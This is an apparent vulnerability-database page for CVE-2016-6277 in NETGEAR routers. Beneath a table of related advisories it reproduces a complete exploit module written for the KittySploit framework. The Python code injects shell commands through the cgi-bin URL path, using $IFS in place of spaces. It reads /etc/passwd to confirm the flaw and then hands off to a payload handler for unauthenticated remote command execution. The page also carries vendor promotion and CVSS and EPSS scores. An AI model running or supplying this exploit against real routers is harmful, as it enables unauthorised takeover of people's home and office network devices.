NETGEAR Router cgi-bin RCE (CVE-2016-6277)
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| Netgear R7000 / R6400 cgi-bin Command Injection Exploit | 12 Mar 201700:00 | – | zdt | |
| Netgear R6400 - Remote Code Execution Exploit | 17 Dec 201900:00 | – | zdt | |
| CVE-2016-6277 | 14 Dec 201600:00 | – | attackerkb | |
| NETGEAR Router Command Execution | 6 Mar 202300:00 | – | bdu_fstec | |
| CVE-2016-6277 | 7 Dec 201600:00 | – | circl | |
| NETGEAR Multiple Routers Remote Code Execution Vulnerability | 7 Mar 202200:00 | – | cisa_kev | |
| CISA Adds 11 Known Exploited Vulnerabilities to Catalog | 7 Mar 202200:00 | – | cisa | |
| Arbitrary Command Injection Vulnerability in a Variety of Netgear Netgear Routers | 9 Dec 201600:00 | – | cnvd | |
| Netgear R7000 and R6400 cgi-bin Command Injection (CVE-2016-6277) | 23 May 201700:00 | – | checkpoint_advisories | |
| CVE-2016-6277 | 14 Dec 201616:00 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR router cgi-bin path command injection (CVE-2016-6277)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'NETGEAR Router cgi-bin RCE (CVE-2016-6277)',
'description': (
'Exploits CVE-2016-6277 in multiple NETGEAR routers: shell metacharacters in '
'the cgi-bin path segment yield unauthenticated command execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2016-6277'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2016-6277',
'https://www.kb.cert.org/vuls/id/582384',
],
'tags': ['netgear', 'router', 'iot', 'rce', 'cmdi', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2016_6277_detect'],
},
},
}
cgi_base = OptString('/cgi-bin/', 'CGI base path', required=False, advanced=True)
def execute(self, cmd: str) -> str:
base = str(self.cgi_base or '/cgi-bin/').strip() or '/cgi-bin/'
if not base.endswith('/'):
base += '/'
safe = str(cmd).replace(' ', '$IFS')
path = f'{base};{safe}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat$IFS/etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2016-6277 path injection confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'NETGEAR path injection not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo$IFS{token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.8
CVSS 29.3
EPSS0.99803
SSVC